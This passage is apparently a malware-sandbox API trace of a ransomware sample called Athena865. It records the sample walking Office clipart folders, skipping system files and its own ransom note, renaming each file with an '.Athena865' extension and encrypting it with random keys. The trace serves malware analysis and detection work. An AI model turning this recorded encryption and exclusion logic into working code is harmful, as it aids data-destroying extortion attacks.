dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.680] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.680] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.681] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1610, lpName=0x0) returned 0x154 [0121.682] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1610) returned 0x100000 [0121.683] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.684] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.684] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.685] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.685] CloseHandle (hObject=0x154) returned 1 [0121.685] CloseHandle (hObject=0x17c) returned 1 [0121.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.685] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0121.685] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.685] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.685] lstrcmpiW (lpString1="BD00141_.WMF", lpString2=".") returned 1 [0121.685] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="..") returned 1 [0121.685] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="windows") returned -1 [0121.685] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="bootmgr") returned -1 [0121.685] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="temp") returned -1 [0121.685] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="pagefile.sys") returned -1 [0121.685] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="boot") returned -1 [0121.685] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="ids.txt") returned -1 [0121.685] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="ntuser.dat") returned -1 [0121.685] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="perflogs") returned -1 [0121.686] lstrcmpiW (lpString1="BD00141_.WMF", lpString2="MSBuild") returned -1 [0121.686] lstrlenW (lpString="BD00141_.WMF") returned 12 [0121.686] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD00141_.WMF" | out: lpString1="BD00141_.WMF") returned="BD00141_.WMF" [0121.686] lstrlenW (lpString="BD00141_.WMF") returned 12 [0121.686] lstrlenW (lpString="Athena865") returned 9 [0121.686] lstrcmpiW (lpString1="0141_.WMF", lpString2="Athena865") returned -1 [0121.686] lstrlenW (lpString=".dll") returned 4 [0121.686] lstrcmpiW (lpString1="BD00141_.WMF", lpString2=".dll") returned 1 [0121.686] lstrlenW (lpString=".lnk") returned 4 [0121.686] lstrcmpiW (lpString1="BD00141_.WMF", lpString2=".lnk") returned 1 [0121.686] lstrlenW (lpString=".ini") returned 4 [0121.686] lstrcmpiW (lpString1="BD00141_.WMF", lpString2=".ini") returned 1 [0121.686] lstrlenW (lpString=".sys") returned 4 [0121.686] lstrcmpiW (lpString1="BD00141_.WMF", lpString2=".sys") returned 1 [0121.686] lstrlenW (lpString="BD00141_.WMF") returned 12 [0121.686] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.Athena865") returned 73 [0121.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.687] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26886) returned 1 [0121.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.688] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.688] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.688] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.689] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c10, lpName=0x0) returned 0x154 [0121.690] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c10) returned 0x100000 [0121.692] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.693] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.693] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.694] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.694] CloseHandle (hObject=0x154) returned 1 [0121.694] CloseHandle (hObject=0x17c) returned 1 [0121.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.695] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2=".") returned 1 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="..") returned 1 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="windows") returned -1 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="bootmgr") returned -1 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="temp") returned -1 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="pagefile.sys") returned -1 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="boot") returned -1 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="ids.txt") returned -1 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="ntuser.dat") returned -1 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="perflogs") returned -1 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2="MSBuild") returned -1 [0121.695] lstrlenW (lpString="BD00146_.WMF") returned 12 [0121.695] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD00146_.WMF" | out: lpString1="BD00146_.WMF") returned="BD00146_.WMF" [0121.695] lstrlenW (lpString="BD00146_.WMF") returned 12 [0121.695] lstrlenW (lpString="Athena865") returned 9 [0121.695] lstrcmpiW (lpString1="0146_.WMF", lpString2="Athena865") returned -1 [0121.695] lstrlenW (lpString=".dll") returned 4 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2=".dll") returned 1 [0121.695] lstrlenW (lpString=".lnk") returned 4 [0121.695] lstrcmpiW (lpString1="BD00146_.WMF", lpString2=".lnk") returned 1 [0121.696] lstrlenW (lpString=".ini") returned 4 [0121.696] lstrcmpiW (lpString1="BD00146_.WMF", lpString2=".ini") returned 1 [0121.696] lstrlenW (lpString=".sys") returned 4 [0121.696] lstrcmpiW (lpString1="BD00146_.WMF", lpString2=".sys") returned 1 [0121.696] lstrlenW (lpString="BD00146_.WMF") returned 12 [0121.696] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.Athena865") returned 73 [0121.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.701] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28948) returned 1 [0121.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.701] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.702] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.702] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.702] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7420, lpName=0x0) returned 0x154 [0121.705] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7420) returned 0x100000 [0121.706] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.707] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.707] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.708] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.708] CloseHandle (hObject=0x154) returned 1 [0121.708] CloseHandle (hObject=0x17c) returned 1 [0121.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.708] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0121.708] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.708] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.708] lstrcmpiW (lpString1="BD00155_.WMF", lpString2=".") returned 1 [0121.708] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="..") returned 1 [0121.709] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="windows") returned -1 [0121.709] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="bootmgr") returned -1 [0121.709] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="temp") returned -1 [0121.709] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="pagefile.sys") returned -1 [0121.709] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="boot") returned -1 [0121.709] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="ids.txt") returned -1 [0121.709] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="ntuser.dat") returned -1 [0121.709] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="perflogs") returned -1 [0121.709] lstrcmpiW (lpString1="BD00155_.WMF", lpString2="MSBuild") returned -1 [0121.709] lstrlenW (lpString="BD00155_.WMF") returned 12 [0121.709] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD00155_.WMF" | out: lpString1="BD00155_.WMF") returned="BD00155_.WMF" [0121.709] lstrlenW (lpString="BD00155_.WMF") returned 12 [0121.709] lstrlenW (lpString="Athena865") returned 9 [0121.709] lstrcmpiW (lpString1="0155_.WMF", lpString2="Athena865") returned -1 [0121.709] lstrlenW (lpString=".dll") returned 4 [0121.709] lstrcmpiW (lpString1="BD00155_.WMF", lpString2=".dll") returned 1 [0121.709] lstrlenW (lpString=".lnk") returned 4 [0121.709] lstrcmpiW (lpString1="BD00155_.WMF", lpString2=".lnk") returned 1 [0121.709] lstrlenW (lpString=".ini") returned 4 [0121.709] lstrcmpiW (lpString1="BD00155_.WMF", lpString2=".ini") returned 1 [0121.709] lstrlenW (lpString=".sys") returned 4 [0121.709] lstrcmpiW (lpString1="BD00155_.WMF", lpString2=".sys") returned 1 [0121.709] lstrlenW (lpString="BD00155_.WMF") returned 12 [0121.709] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.Athena865") returned 73 [0121.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.716] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11636) returned 1 [0121.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.716] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.717] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.717] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.717] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3080, lpName=0x0) returned 0x154 [0121.719] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3080) returned 0x100000 [0121.721] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.722] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.722] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.723] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.723] CloseHandle (hObject=0x154) returned 1 [0121.723] CloseHandle (hObject=0x17c) returned 1 [0121.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.723] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2=".") returned 1 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="..") returned 1 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="windows") returned -1 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="bootmgr") returned -1 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="temp") returned -1 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="pagefile.sys") returned -1 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="boot") returned -1 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="ids.txt") returned -1 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="ntuser.dat") returned -1 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="perflogs") returned -1 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="MSBuild") returned -1 [0121.724] lstrlenW (lpString="BD00160_.WMF") returned 12 [0121.724] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD00160_.WMF" | out: lpString1="BD00160_.WMF") returned="BD00160_.WMF" [0121.724] lstrlenW (lpString="BD00160_.WMF") returned 12 [0121.724] lstrlenW (lpString="Athena865") returned 9 [0121.724] lstrcmpiW (lpString1="0160_.WMF", lpString2="Athena865") returned -1 [0121.724] lstrlenW (lpString=".dll") returned 4 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2=".dll") returned 1 [0121.724] lstrlenW (lpString=".lnk") returned 4 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2=".lnk") returned 1 [0121.724] lstrlenW (lpString=".ini") returned 4 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2=".ini") returned 1 [0121.724] lstrlenW (lpString=".sys") returned 4 [0121.724] lstrcmpiW (lpString1="BD00160_.WMF", lpString2=".sys") returned 1 [0121.724] lstrlenW (lpString="BD00160_.WMF") returned 12 [0121.725] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.Athena865") returned 73 [0121.725] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.730] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22516) returned 1 [0121.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 